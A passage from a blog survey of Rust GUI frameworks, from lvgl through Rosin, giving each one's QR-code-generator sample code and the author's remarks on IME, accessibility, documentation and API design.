    Lvgl is a Rust binding for a GUI library developed for embedded devices. That’s certainly a distinctive niche, and perhaps that alone is enough to make it stand out on Are We GUI Yet?. As far as I know, another GUI framework that can run in embedded environments is Slint. However, I don’t have a usable embedded development board on hand, and this survey’s scope is basically limited to desktop environments, so I can’t pit them against each other in an embedded setting.

    Lvgl can also run in desktop mode, simulating the peripherals of an embedded device. In that case, it uses SDL as the rendering backend. This mode sounds like it’s mainly meant for developers to debug their programs before flashing them onto a board, so I find it hard to have high expectations for its performance as a desktop GUI.

    The last release was three years ago. When I tried running the version on crates.io, it hit a segmentation fault. So I switched to the latest version on the main branch on GitHub, and after some painful environment setup, I finally got it running.

    Given that embedded devices don’t always have a keyboard, lvgl doesn’t respond to keyboard events. You need to add a Keyboard widget and click on it to enter text. Well, that’s certainly a refreshing experience. Of course, in this case there’s no way to talk about IME support or accessibility.

    Despite all this time, lvgl’s Rust bindings still seem to be in an unfinished state. Many operations require getting raw pointers to widgets and going through the low-level lvgl-sys. For example, getting the text from a text box and setting the content of an image widget. Yes, that’s the only way to make the image widget usable.

    Full Code
    use std::thread::sleep;
    use std::time::{Duration, Instant};
    
    use cstr_core::{CStr, cstr};
    use embedded_graphics::pixelcolor::Rgb565;
    use embedded_graphics::prelude::*;
    use embedded_graphics_simulator::{
        OutputSettingsBuilder, SimulatorDisplay, SimulatorEvent, Window,
    };
    use lvgl::input_device::InputDriver;
    use lvgl::input_device::pointer::{Pointer, PointerInputData};
    use lvgl::widgets::{Img, Keyboard, Label, Textarea};
    use lvgl::{Align, Display, DrawBuffer, LvError, NativeObject, Widget};
    
    const HOR_RES: u32 = 240;
    const VER_RES: u32 = 360;
    const IMG_RES: u32 = 200;
    
    fn qr_encode(text: &str, buf: &mut [u8; (IMG_RES * IMG_RES * 2) as usize]) -> anyhow::Result<()> {
        let img: image::GrayImage = qrcode::QrCode::new(text.as_bytes())?
            .render::<image::Luma<u8>>()
            .max_dimensions(IMG_RES, IMG_RES)
            .quiet_zone(false)
            .build();
        for (x, y, pixel) in img.enumerate_pixels() {
            let c: u16 = if pixel.0[0] < 128 { 0x0000 } else { 0xFFFF }; // RGB565 black/white
            let i = ((y * IMG_RES + x) * 2) as usize;
            buf[i] = (c & 0xFF) as u8;
            buf[i + 1] = (c >> 8) as u8;
        }
        Ok(())
    }
    
    fn main() -> Result<(), LvError> {
        let mut sim_display: SimulatorDisplay<Rgb565> =
            SimulatorDisplay::new(Size::new(HOR_RES, VER_RES));
    
        let output_settings = OutputSettingsBuilder::new().scale(2).build();
        let mut window = Window::new("QR Code Generator", &output_settings);
    
        let buffer = DrawBuffer::<{ (HOR_RES * VER_RES) as usize }>::default();
    
        let display = Display::register(buffer, HOR_RES, VER_RES, |refresh| {
            sim_display.draw_iter(refresh.as_pixels()).unwrap();
        })?;
    
        // Define the initial state of your input
        let mut latest_touch_status = PointerInputData::Touch(Point::new(0, 0)).released().once();
    
        // Register a new input device that's capable of reading the current state of the input
        let _touch_screen = Pointer::register(|| latest_touch_status, &display)?;
    
        // Create screen and widgets
        let mut screen = display.get_scr_act()?;
    
        let mut label = Label::create(&mut screen)?;
        label.set_text(cstr!("Enter text to generate QR code:"));
    
        let mut text = Textarea::create(&mut screen)?;
        text.set_align(Align::TopMid, 0, 20);
        text.set_height(40);
    
        let mut img = Img::create(&mut screen)?;
        img.set_size(IMG_RES as i16, IMG_RES as i16);
        img.set_align(Align::TopMid, 0, 60);
    
        let mut buf = [255u8; (IMG_RES * IMG_RES * 2) as usize]; // RGB565
        let dsc = lvgl_sys::lv_img_dsc_t {
            header: {
                let mut h = lvgl_sys::lv_img_header_t::default();
                h.set_cf(lvgl_sys::LV_IMG_CF_TRUE_COLOR);
                h.set_w(IMG_RES);
                h.set_h(IMG_RES);
                h
            },
            data_size: buf.len() as u32,
            data: buf.as_ptr(),
        };
    
        let mut keyboard = Keyboard::create(&mut screen)?;
        keyboard.set_size(240, 120);
        keyboard.set_textarea(&mut text);
    
        text.on_event(|text, ev| {
            if let lvgl::Event::ValueChanged = ev {
                let text = unsafe {
                    let ptr = lvgl_sys::lv_textarea_get_text(text.raw().as_ptr());
                    CStr::from_ptr(ptr).to_string_lossy().into_owned()
                };
                if qr_encode(&text, &mut buf).is_ok() {
                    unsafe {
                        lvgl_sys::lv_img_set_src(
                            img.raw().as_mut(),
                            &dsc as *const _ as *const core::ffi::c_void,
                        )
                    };
                }
            }
        })?;
    
        'running: loop {
            let start = Instant::now();
            lvgl::task_handler();
            window.update(&sim_display);
    
            let events = window.events().peekable();
    
            for event in events {
                match event {
                    SimulatorEvent::MouseButtonDown {
                        mouse_btn: _,
                        point,
                    } => {
                        latest_touch_status = PointerInputData::Touch(point).pressed().once();
                    }
                    SimulatorEvent::MouseButtonUp {
                        mouse_btn: _,
                        point,
                    } => {
                        latest_touch_status = PointerInputData::Touch(point).released().once();
                    }
                    SimulatorEvent::Quit => break 'running,
                    _ => {}
                }
            }
            sleep(Duration::from_millis(5));
            lvgl::tick_inc(Instant::now().duration_since(start));
        }
    
        Ok(())
    }

    Link to this section Makepad

    “Makepad is an AI-accelerated application and game development environment for Rust.”

    I remember a year ago they weren’t saying that.

    “It also has a large set of AI backends integrated for embedding llms or generative AI models inside applications or run them easily on local hardware”

    That doesn’t sound like what a GUI framework should be doing.

    Makepad’s link on Are We GUI Yet? points to a placeholder crate; their real crate name seems to be makepad-widgets . But neither side has any documentation at all. Let me just hope I have better luck with their examples.

    The examples in the repository don’t match the version published on crates.io. Moreover, it seems that Claude Code getting in on the act completely messed up their version management. Their git repository has two tags named 1.0.0 and Last1.0 , and I can only infer from the dates which one corresponds to the version on crates.io.

    IME only partially works: it can receive text input, but it doesn’t display the composer’s content. The screen reader cannot recognize the content in the window.

    It seems their carefully designed DSL is intended for some kind of live editor, yet in their repository, there’s no documentation at all on how to install this editor.

    Full Code
    use makepad_widgets::*;
    
    live_design! {
        use link::theme::*;
        use link::widgets::*;
    
        App = {{App}} {
            ui: <Root> {
                main_window = <Window> {
                    body = <View> {
                        flow: Down,
                        spacing: 30,
                        align: {x: 0.5, y: 0.5},
                        label = <Label> {
                            text: "Enter text to generate QR code:",
                        }
                        text_input = <TextInput> { }
                        image = <Image> { }
                    }
                }
            }
        }
    }
    
    app_main!(App);
    
    #[derive(Live, LiveHook)]
    pub struct App {
        #[live]
        ui: WidgetRef,
    }
    
    impl LiveRegister for App {
        fn live_register(cx: &mut Cx) {
            crate::makepad_widgets::live_design(cx);
        }
    }
    
    impl MatchEvent for App {
        fn handle_startup(&mut self, _cx: &mut Cx) {}
    
        fn handle_actions(&mut self, cx: &mut Cx, actions: &Actions) {
            let input = self.ui.text_input(id!(text_input));
            if let Some(text) = input.changed(actions) {
                let image = self.ui.image(id!(image));
                image
                    .load_png_from_data(cx, &qr_encode(&text).unwrap())
                    .unwrap();
            }
        }
    }
    
    impl AppMain for App {
        fn handle_event(&mut self, cx: &mut Cx, event: &Event) {
            self.match_event(cx, event);
            self.ui.handle_event(cx, event, &mut Scope::empty());
        }
    }
    
    fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<::image::Luma<u8>>().build();
    
        let mut buf = Vec::new();
        img.write_to(
            &mut std::io::Cursor::new(&mut buf),
            ::image::ImageFormat::Png,
        )?;
        Ok(buf)
    }

    Link to this section Masonry

    Masonry is a foundational framework for building GUI libraries in Rust. Its goal is not to be a user-facing GUI framework, but rather to serve as a low-level framework for building GUI frameworks. They provide a widget tree and the means to render it. Frameworks built on masonry are free to choose their state management model, such as immediate mode, the Elm Architecture, or reactive programming.

    Their documentation recommends users to use Xilem, a higher-level reactive GUI framework built on top of masonry. We’ll come back later to see what Xilem’s usage looks like. For now, let’s not follow their advice and instead see what it’s like to use masonry directly by hand.

    Both IME and screen reader work fine. For a GUI framework with pure Rust and custom-rendered widgets, this is quite impressive. Among all the GUI libraries I’ve tested so far, only egui has reached this level.

    Without any configuration, masonry’s default font doesn’t support rendering CJK characters. I initially thought it might be like egui, where system fonts aren’t loaded, but after digging into it, I found that the issue is simply that its default font configuration doesn’t include CJK fonts. As long as you specify an appropriate font name when constructing the widget, it will render properly.

    Masonry’s API feels very low-level indeed, but also very flexible. If the day ever comes when I need to build my own Rust GUI library (and if I actually do, I can’t decide whether that’s fortunate or unfortunate), masonry would be a good place to start; at least I’d get IME and accessibility support out of the box.

    Full Code
    use masonry::core::{ErasedAction, NewWidget, Widget, WidgetId, WidgetTag};
    use masonry::parley::style::{FontStack, StyleProperty};
    use masonry::peniko::{ImageAlphaType, ImageData, ImageFormat};
    use masonry::properties::types::Length;
    use masonry::widgets::{Flex, Image, Label, Portal, TextAction, TextArea, TextInput};
    use masonry_winit::app::{AppDriver, DriverCtx, NewWindow, WindowId};
    use masonry_winit::winit::window::Window;
    
    const TEXT_INPUT_TAG: WidgetTag<TextInput> = WidgetTag::new("text-input");
    const LIST_TAG: WidgetTag<Flex> = WidgetTag::new("list");
    const WIDGET_SPACING: Length = Length::const_px(5.0);
    
    struct Driver {
        image_id: Option<WidgetId>,
    }
    
    impl AppDriver for Driver {
        fn on_action(
            &mut self,
            window_id: WindowId,
            ctx: &mut DriverCtx<'_, '_>,
            _widget_id: WidgetId,
            action: ErasedAction,
        ) {
            if action.is::<TextAction>() {
                let action = action.downcast::<TextAction>().unwrap();
                if let TextAction::Changed(new_text) = *action
                    && let Ok(qr) = qr_encode(&new_text)
                {
                    let render_root = ctx.render_root(window_id);
                    if let Some(image_id) = self.image_id {
                        render_root.edit_widget(image_id, |mut image| {
                            Image::set_image_data(&mut image.downcast(), qr);
                        })
                    } else {
                        render_root.edit_widget_with_tag(LIST_TAG, |mut list| {
                            let image = Image::new(qr).with_auto_id();
                            self.image_id = Some(image.id());
                            Flex::add_child(&mut list, image);
                        });
                    }
                }
            }
        }
    }
    
    pub fn make_widget_tree() -> NewWidget<impl Widget> {
        let label = NewWidget::new(Label::new("Enter text to generate QR code:"));
        let text_input = NewWidget::new_with_tag(
            TextInput::from_text_area(
                TextArea::new_editable("")
                    .with_style(StyleProperty::FontStack(FontStack::Source(
                        "system-ui, PingFang SC, Hiragino Sans GB, Microsoft YaHei, sans-serif".into(),
                    )))
                    .with_auto_id(),
            ),
            TEXT_INPUT_TAG,
        );
    
        let list = Flex::column()
            .with_child(label)
            .with_child(text_input)
            .with_spacer(WIDGET_SPACING);
    
        NewWidget::new(Portal::new(NewWidget::new_with_tag(list, LIST_TAG)))
    }
    
    fn qr_encode(text: &str) -> anyhow::Result<ImageData> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
        let img = image::DynamicImage::ImageLuma8(img).into_rgba8();
        let (width, height) = img.dimensions();
        let data = img.into_raw();
        Ok(ImageData {
            data: data.into(),
            format: ImageFormat::Rgba8,
            alpha_type: ImageAlphaType::AlphaPremultiplied,
            width,
            height,
        })
    }
    
    fn main() {
        let window_attributes = Window::default_attributes()
            .with_title("QR Code Generator")
            .with_resizable(true);
        let driver = Driver { image_id: None };
    
        let event_loop = masonry_winit::app::EventLoop::with_user_event()
            .build()
            .unwrap();
        masonry_winit::app::run_with(
            event_loop,
            vec![NewWindow::new(
                window_attributes,
                make_widget_tree().erased(),
            )],
            driver,
            masonry::theme::default_property_set(),
        )
        .unwrap();
    }

    Link to this section Maycoon

    “Maycoon is shutting down!”

    A few months ago, the author of Maycoon announced that Maycoon had been deprecated and deleted its GitHub repository. According to the author, “Rust simply is not a good fit to make a UI framework.” Let’s take a moment of silence for Maycoon, then move on to the next framework.

    Link to this section Pane UI

    Pane UI is a GUI framework that defines UIs in RON, renders them with wgpu, and supports hot reloading.

    It does not adopt a reactive design; the RON data files used to define the UI are completely static. If you want to create dynamic content, you need to modify the UI through code at runtime. This is not really a bad idea, because before reactive programming was invented, this is how everyone did it, for example, Win32 UI and VCL.

    Regarding the schema of the RON used to define UIs, Pane UI’s README contains a somewhat incomplete description, which alone is not enough to understand how components are defined. However, one can infer what the schema should look like from the Rust documentation of the module they use to parse RON, although even then the information is still not complete.

    Unfortunately, Pane UI cannot accomplish this task, because it does not support creating and inserting images at runtime. Neither attempting to modify the properties of an existing image nor creating a new image component is supported in Pane UI. Perhaps there is also a hacky workaround: leveraging Pane UI’s hot reload mechanism to modify the RON file used to load the UI at runtime. But that sounds a bit too crazy.

    Link to this section Pax

    Pax is a GUI framework that emphasizes “designability”, combining a Figma-like designer with the program’s GUI. This sounds like a great idea, if it can actually work.

    Pax’s desktop support is macOS only, and it is still in alpha. In my attempt, its macOS version failed to compile due to an internal parameter mismatch error. Given that Pax has not been updated for two years, I decided not to waste any more time on it.

    Link to this section Ply

    Ply is also a newcomer to the Rust GUI framework scene this year. Its author published a post on the Are We GUI Yet? blog list titled “building apps in Rust shouldn’t be this hard”. That’s certainly a good way to draw attention to a new project.

    IME does not work properly. After adding some additional code to set up accessibility, the screen reader can read the contents of the window.

    In the blog post, the author talks about the pain points they encountered with other Rust GUI frameworks and then introduces ply’s builder-based API design. In practice, the code does feel more concise, and it plays well with editor autocompletion.

    However, ply is not perfect in its API design. It adopts an immediate mode programming model, but the way it handles text box updates is through callbacks, which is somewhat problematic. To access external state inside the callback, I had to wrap it in Rc<RefCell<T>> , because the callback may outlive the GUI builder. But from the perspective of the actual GUI lifecycle, this extra wrapping is unnecessary, since an immediate mode GUI’s lifetime is entirely confined to the rendering loop, and variables outside the loop should be freely accessible.

    In addition, ply makes some odd choices for default values. For example, if you do not specify both font_size and color for your text, it will not display at all. I checked their documentation and found that the default font_size is 0 and the default color is transparent, which is very counterintuitive. The default width and height of an element also appear to be 0, which is equally unintuitive.

    Overall, ply is probably still a ways away from the goal it claims of “shouldn’t be this hard.”

    Full Code
    use ply_engine::prelude::*;
    use std::cell::RefCell;
    use std::rc::Rc;
    
    fn window_conf() -> macroquad::conf::Conf {
        macroquad::conf::Conf {
            miniquad_conf: miniquad::conf::Conf {
                window_title: "QR Code Generator".to_owned(),
                window_width: 800,
                window_height: 600,
                high_dpi: true,
                sample_count: 4,
                ..Default::default()
            },
            ..Default::default()
        }
    }
    
    fn qr_encode(text: &str) -> anyhow::Result<Texture2D> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
        let img = image::DynamicImage::ImageLuma8(img).into_rgba8();
        Ok(Texture2D::from_rgba8(
            img.width() as u16,
            img.height() as u16,
            img.as_raw(),
        ))
    }
    
    #[macroquad::main(window_conf)]
    async fn main() {
        static DEFAULT_FONT: FontAsset = FontAsset::Path("assets/fonts/noto_sans_sc.ttf");
        let mut ply = Ply::<()>::new(&DEFAULT_FONT).await;
    
        let img: Rc<RefCell<Option<Texture2D>>> = Rc::new(RefCell::new(None));
    
        loop {
            clear_background(BLACK);
    
            let mut ui = ply.begin();
    
            ui.element()
                .width(grow!())
                .height(grow!())
                .layout(|l| {
                    l.direction(TopToBottom)
                        .gap(16)
                        .padding(12)
                        .align(CenterX, CenterY)
                })
                .children(|ui| {
                    ui.text("Enter text to generate QR code:", |t| {
                        t.font_size(12).color(WHITE).accessible()
                    });
                    ui.element()
                        .width(grow!())
                        .height(fit!(20.0))
                        .background_color(0x262220)
                        .corner_radius(6.0)
                        .text_input(|t| {
                            t.font_size(18).on_changed({
                                let img = img.clone();
                                move |text| *img.borrow_mut() = qr_encode(text).ok()
                            })
                        })
                        .accessibility(|a| a.role(AccessibilityRole::TextInput).label("input"))
                        .empty();
                    if let Some(img) = img.borrow().as_ref() {
                        ui.element()
                            .width(fixed!(200.0))
                            .height(fixed!(200.0))
                            .image(img.clone())
                            .empty();
                    }
                });
    
            ui.show(|_| {}).await;
    
            next_frame().await;
        }
    }

    Link to this section QMetaObject

    QMetaObject is another Rust binding for Qt. Compared with CXX-Qt, this library is somewhat less active, and its documentation is relatively insufficient. It uses a more customized macro approach to create subclasses of QObject in Rust and allows them to be used in QML. In this simple example, the experience in terms of complexity is roughly similar to CXX-Qt.

    Since the UI is built entirely with Qt, the final result is identical to the CXX-Qt one, so there is no need to show screenshots here.

    Full Code
    use base64::Engine as _;
    use cstr::cstr;
    use qmetaobject::prelude::*;
    
    #[derive(QObject, Default)]
    struct MyObject {
        base: qt_base_class!(trait QObject),
        text: qt_property!(QString; WRITE set_text),
        qr_code: qt_property!(QString; NOTIFY qr_code_changed),
        qr_code_changed: qt_signal!(),
    }
    
    impl MyObject {
        fn set_text(&mut self, text: QString) {
            self.text = text;
            let code = qrcode::QrCode::new(self.text.to_string().as_bytes()).unwrap();
            let img = code.render::<image::Luma<u8>>().min_dimensions(256, 256).build();
            let mut png = Vec::new();
            img.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png).unwrap();
            let url = format!("data:image/png;base64,{}", base64::engine::general_purpose::STANDARD.encode(&png));
            self.qr_code = url.into();
            self.qr_code_changed();
        }
    }
    
    fn main() {
        qml_register_type::<MyObject>(cstr!("MyObject"), 1, 0, cstr!("MyObject"));
        let mut engine = QmlEngine::new();
        engine.load_data(r#"
            import QtQuick 2.12
            import QtQuick.Controls 2.12
            import QtQuick.Window 2.12
            import MyObject 1.0
    
            ApplicationWindow {
                id: root
                height: 480
                title: qsTr("QR Code Generator")
                visible: true
                width: 640
                color: palette.window
    
                readonly property MyObject myObject: MyObject {}
    
                Column {
                    anchors.fill: parent
                    anchors.margins: 10
                    spacing: 10
    
                    Label {
                        text: qsTr("Enter text to generate QR code:")
                        color: palette.text
                    }
    
                    TextField {
                        placeholderText: qsTr("https://example.com")
                        onTextChanged: root.myObject.text = text
                    }
    
                    Image {
                        width: 256
                        height: 256
                        fillMode: Image.PreserveAspectFit
                        source: root.myObject.qr_code
                        visible: status === Image.Ready
                    }
                }
            }
        "#.into());
        engine.exec();
    }

    Link to this section Relm

    Relm is a GUI framework based on GTK that uses the Elm Architecture as its programming model.

    Relm uses GTK 3, which is said to be deprecated. But as I found in my earlier investigation, the GTK 3 library is still being quietly updated, and relm itself is also being quietly updated. It released a new version this year, upgrading to Rust 2024 Edition, but there were no significant changes in functionality.

    Since the UI part is essentially GTK, there is no need to include screenshots for comparison again.

    Full Code
    use gtk::gdk_pixbuf::{Colorspace, Pixbuf};
    use gtk::glib::Bytes;
    use gtk::prelude::*;
    use relm::Widget;
    use relm_derive::{Msg, widget};
    
    #[derive(Msg)]
    pub enum Msg {
        Input(String),
        Quit,
    }
    
    #[widget]
    impl Widget for Win {
        fn model() {}
    
        fn update(&mut self, event: Msg) {
            match event {
                Msg::Input(text) => {
                    if let Ok(qr) = qr_encode(&text) {
                        self.widgets.img.set_from_pixbuf(Some(&qr));
                    }
                }
                Msg::Quit => gtk::main_quit(),
            }
        }
    
        view! {
            gtk::Window {
                title: "QR Code Generator",
                gtk::Box {
                    orientation: gtk::Orientation::Vertical,
                    spacing: 6,
                    gtk::Label {
                        label: "Enter text to generate QR code:"
                    },
                    gtk::Entry {
                        changed(text) => Msg::Input(text.text().to_string())
                    },
                    #[name="img"]
                    gtk::Image {},
                },
                delete_event(_, _) => (Msg::Quit, gtk::glib::Propagation::Proceed),
            }
        }
    }
    
    fn qr_encode(text: &str) -> anyhow::Result<Pixbuf> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
        let img = image::DynamicImage::ImageLuma8(img).to_rgb8();
        let (w, h) = img.dimensions();
        Ok(Pixbuf::from_bytes(
            &Bytes::from_owned(img.into_raw()),
            Colorspace::Rgb,
            false,
            8,
            w as i32,
            h as i32,
            w as i32 * 3,
        ))
    }
    
    fn main() {
        Win::run(()).expect("Win::run failed");
    }

    Link to this section Relm4

    Relm4 is the GTK 4 version of Relm. Apart from that, there doesn’t seem to be much to say. Developing applications with it is just as enjoyable as with Relm.

    Full Code
    use relm4::gtk::gdk::{MemoryFormat, MemoryTexture};
    use relm4::gtk::glib::Bytes;
    use relm4::gtk::prelude::*;
    use relm4::prelude::*;
    
    struct App {
        img: Option<MemoryTexture>,
    }
    
    #[derive(Debug)]
    enum Msg {
        Input(String),
    }
    
    #[relm4::component]
    impl SimpleComponent for App {
        type Init = ();
        type Input = Msg;
        type Output = ();
    
        view! {
            gtk::Window {
                set_title: Some("QR Code Generator"),
                gtk::Box {
                    set_orientation: gtk::Orientation::Vertical,
                    set_spacing: 6,
                    gtk::Label {
                        set_label: "Enter text to generate QR code:"
                    },
                    gtk::Entry {
                        connect_changed[sender] => move |e| sender.input(Msg::Input(e.text().to_string())),
                    },
                    gtk::Picture {
                        set_width_request: 200,
                        set_height_request: 200,
                        #[watch]
                        set_paintable: model.img.as_ref(),
                    },
                },
            }
        }
    
        fn init(_: (), root: Self::Root, sender: ComponentSender<Self>) -> ComponentParts<Self> {
            let model = App { img: None };
            let widgets = view_output!();
            ComponentParts { model, widgets }
        }
    
        fn update(&mut self, msg: Msg, _sender: ComponentSender<Self>) {
            let Msg::Input(text) = msg;
            self.img = qr_encode(&text).ok();
        }
    }
    
    fn qr_encode(text: &str) -> anyhow::Result<MemoryTexture> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<image::Luma<u8>>().build();
        let img = image::DynamicImage::ImageLuma8(img).to_rgb8();
        let (w, h) = img.dimensions();
        Ok(MemoryTexture::new(
            w as i32,
            h as i32,
            MemoryFormat::R8g8b8,
            &Bytes::from(&img.into_raw()),
            w as usize * 3,
        ))
    }
    
    fn main() {
        RelmApp::new("org.example.HelloWorld").run::<App>(());
    }

    Link to this section Ribir

    Ribir is a reactive Rust GUI framework that claims to adopt a “non-intrusive declarative programming model.” By this they mean you can first develop the data model for your application, and then adapt the UI to it. In this process, you do not need to make any modifications to the already designed data model. Although I really don’t understand why this would actually be a problem, I feel that any well-designed GUI framework should be able to do this.

    Since Ribir released version 0.3 in 2024, over the past two years it has prepared more than 60 alpha versions for 0.4. I don’t know what exactly has allowed the developers to hold off for such a long time, but it has also piqued my interest in its new version somewhat.

    After briefly looking through its documentation, I found that Ribir uses rather obscure notation in its macro syntax. Without the help of AI, I would never have figured out that to insert an optional image into the component tree, I should use syntax like this:

    @ { pipe!($read(image).clone()) }

    Its documentation spends a great deal of space explaining how this macro syntax works, but it doesn’t say a word about why it was designed this way.

    Ribir’s documentation appears to be inconsistent with its implementation in some places. For example, the documentation for Input mentions that it emits a TextChangedEvent . However, this event does not actually exist; instead, text input changes should be handled in the on_chars event. The documentation for the Image component says it accepts WebP format images, but in reality it is even more restrictive: it can only accept WebP images with RGBA pixels. If images with other pixel formats are passed in, its GPU renderer will crash outright.

    IME works properly, which is good. But the screen reader cannot recognize the contents of the window.

    Although I have been criticizing how cryptic its macro syntax is, that is from the perspective of a programmer. When it comes to conciseness, Ribir’s system is truly second to none. Among all the GUI frameworks I have surveyed so far, it seems to require the fewest lines of code. If Ribir could replace some of its notation with a more intuitive version, I would not hesitate to admit that this is a good design.

    Full Code
    use ribir::prelude::*;
    
    pub fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
        let code = qrcode::QrCode::new(text.as_bytes())?;
        let img = code.render::<::image::Rgba<u8>>().build();
    
        let mut buf = Vec::new();
        img.write_to(
            &mut std::io::Cursor::new(&mut buf),
            ::image::ImageFormat::WebP,
        )?;
        Ok(buf)
    }
    
    fn main() {
        App::run(fn_widget! {
            let mut input = @Input {};
            let image = Stateful::new(None);
            @Column{
                @Text {
                    text: "Enter text to generate QR code:"
                }
                @(input) {
                    on_chars: move |_| {
                        let input = $read(input);
                        let text = input.text();
                        *$write(image) = qr_encode(text).ok().and_then(|d| Image::new(d).ok());
                    }
                }
                @ { pipe!($read(image).clone()) }
            }
        })
        .with_title("QR Code Generator");
    }

    Link to this section Rinf

    Rinf is another framework that uses Flutter as the interface for Rust programs. I first learned about Rinf because of the plagiarism controversy between it and Flutter Rust Bridge a few years ago. But now that the controversy has settled down, we can take a good look at this library.

    According to rinf’s documentation, it recommends managing all application state in Rust, with Flutter used only for the UI. Specifically, it suggests using the Actor model in Rust to manage application state.

    In this simple example, comparing the code written with rinf to Flutter Rust Bridge, it feels that under rinf’s model, I can write Flutter code in a way that is more idiomatic to Flutter. Data is passed from Flutter to Rust through asynchronous functions; state is computed and managed on the Rust side, and then passed back to Flutter as subscribable streams. In this process, all the models are ones that Flutter already has natively, unlike Flutter Rust Bridge, which reinvents a pattern for managing state in Flutter. Of course, this applies to cases where you want to manage all state on the Rust side. Flutter Rust Bridge, on the other hand, is probably better suited to scenarios where state is managed in Flutter, and Rust is used only to write functions that are called by Flutter.

    Since the UI is the same as the Flutter Rust Bridge version, screenshots aren’t included here for comparison.

    Full Code

    Rust:

    use messages::prelude::{Actor, Address, Context, Notifiable};
    use rinf::{DartSignal, RustSignalBinary};
    use serde::{Deserialize, Serialize};
    
    #[derive(Deserialize, DartSignal)]
    pub struct TextChanged {
        pub text: String,
    }
    
    #[derive(Serialize, RustSignalBinary)]
    pub struct QrCodeGen;
    
    pub struct FirstActor;
    impl Actor for FirstActor {}
    
    impl FirstActor {
        pub fn new(address: Address<Self>) -> Self {
            tokio::spawn(Self::listen_to_dart(address));
            Self
        }
    
        async fn listen_to_dart(mut address: Address<Self>) {
            let receiver = TextChanged::get_dart_signal_receiver();
            while let Some(signal_pack) = receiver.recv().await {
                let _ = address.notify(signal_pack.message).await;
            }
        }
    }
    
    #[async_trait::async_trait]
    impl Notifiable<TextChanged> for FirstActor {
        async fn notify(&mut self, message: TextChanged, _: &Context<Self>) {
            if let Ok(png) = encode_qr(&message.text) {
                QrCodeGen.send_signal_to_dart(png);
            }
        }
    }
    
    fn encode_qr(text: &str) -> anyhow::Result<Vec<u8>> {
        let image = qrcode::QrCode::new(text.as_bytes())?
            .render::<image::Luma<u8>>()
            .build();
        let mut png = Vec::new();
        image.write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)?;
        Ok(png)
    }

    Flutter:

    import 'package:flutter/material.dart';
    import 'package:flutter_hooks/flutter_hooks.dart';
    import 'package:rinf/rinf.dart';
    import 'src/bindings/bindings.dart';
    
    Future<void> main() async {
      await initializeRust(assignRustSignal);
      runApp(const MyApp());
    }
    
    class MyApp extends HookWidget {
      const MyApp({super.key});
    
      @override
      Widget build(BuildContext context) {
        final image = useStream(QrCodeGen.rustSignalStream).data?.binary;
        return MaterialApp(
          title: 'QR Code Generator',
          theme: ThemeData(colorScheme: .fromSeed(seedColor: Colors.indigo)),
          home: Scaffold(
            body: Column(
              children: [
                const Text("Enter text to generate QR code:"),
                TextField(
                  onChanged: (text) => TextChanged(text: text).sendSignalToRust(),
                ),
                if (image != null) Image.memory(image, width: 200, height: 200),
              ],
            ),
          ),
        );
      }
    }

    Link to this section Rosin

    Rosin is also a GUI framework that emerged in 2026. Like the Elm Architecture, it centralizes all state at the top of the program. However, unlike Elm, it uses fine-grained reactivity to handle state updates. In addition, it supports styling programs with CSS, which is indeed a novel approach for a GUI library that draws its own widgets.

    I originally thought rosin could not accomplish this task, because it has no image widget and does not support loading images in CSS background-image either. But when I tried the next framework, rui, which requires manual drawing on a canvas, I was inspired. So I went back and re-examined rosin’s API. I discovered that rosin provides an on_canvas method for each component node, which exposes the vello context used for drawing that node, so I can manually draw images in it.

    IME works properly, and after adding some code to set up accessibility, the screen reader can also recognize the contents of the window. This is quite a good achievement for a framework that is just getting started.

    However, rosin still has a ways to go. The current model allows for highly flexible custom components, but the built-in components are still not very rich. Also, rosin’s default styles strongly assume dark mode. If you don’t separately style a text box, its default font color is unreadable against its default background.

    Full Code
    use std::{str::FromStr, sync::Arc};
    
    use rosin::{
        kurbo::Affine,
        peniko::{Blob, ImageAlphaType, ImageBrush, ImageData, ImageFormat, ImageQuality},
        prelude::*,
        widgets::*,
    };
    
    struct State {
        style: Stylesheet,
        input: TextBox,
        text: Var<String>,
    }
    
    impl Default for State {
        fn default() -> Self {
            Self {
                style: Stylesheet::from_str(".input { color: #fff; font-family: Hiragino Sans GB; }")
                    .unwrap(),
                input: TextBox::default(),
                text: Var::default(),
            }
        }
    }
    
    fn main_view(state: &State, ui: &mut Ui<State, WindowHandle>) {
        let text = state.text.downgrade();
        ui.node().style_sheet(&state.style).children(|ui| {
            label(ui, id!(), "Enter text to generate QR code:").on_accessibility(|_, a| {
                a.node.set_role(rosin::accesskit::Role::Label);
                a.node.set_value("Enter text to generate QR code:");
            });
            state
                .input
                .view(ui, id!(), state.text.downgrade())
                .classes("input");
            ui.node()
                .on_canvas(move |_, canvas| draw_qr(canvas, &text.get_or(String::new())));
        });
    }
    
    fn draw_qr(canvas: &mut CanvasCtx<'_>, text: &str) {
        let Ok(code) = qrcode::QrCode::new(text.as_bytes()) else {
            return;
        };
        let b = canvas.padding_box();
        let image = code.render::<image::Rgba<u8>>().build();
        let image = ImageData {
            width: image.width(),
            height: image.height(),
            data: Blob::new(Arc::new(image.into_raw())),
            format: ImageFormat::Rgba8,
            alpha_type: ImageAlphaType::Alpha,
        };
        let scale = b.width().min(b.height()) / image.width.min(image.height) as f64;
        canvas.scene.draw_image(
            &ImageBrush::new(image).with_quality(ImageQuality::Low),
            Affine::scale(scale),
        );
    }
    
    fn main() {
        let window = WindowDesc::new(callback!(main_view))
            .title("QR Code Generator")
            .size(400, 300);
        AppLauncher::new(window)
            .run(State::default(), TranslationMap::default())
            .expect("Failed to launch");
    }

    Link to this section Rui

    Rui is an “experimental declarative UI library.” It has been over three years since rui’s last release, and it is a pity to see it still in an experimental state. However, I noticed that rui’s GitHub repository became active again last year, and perhaps we will see its next version soon.

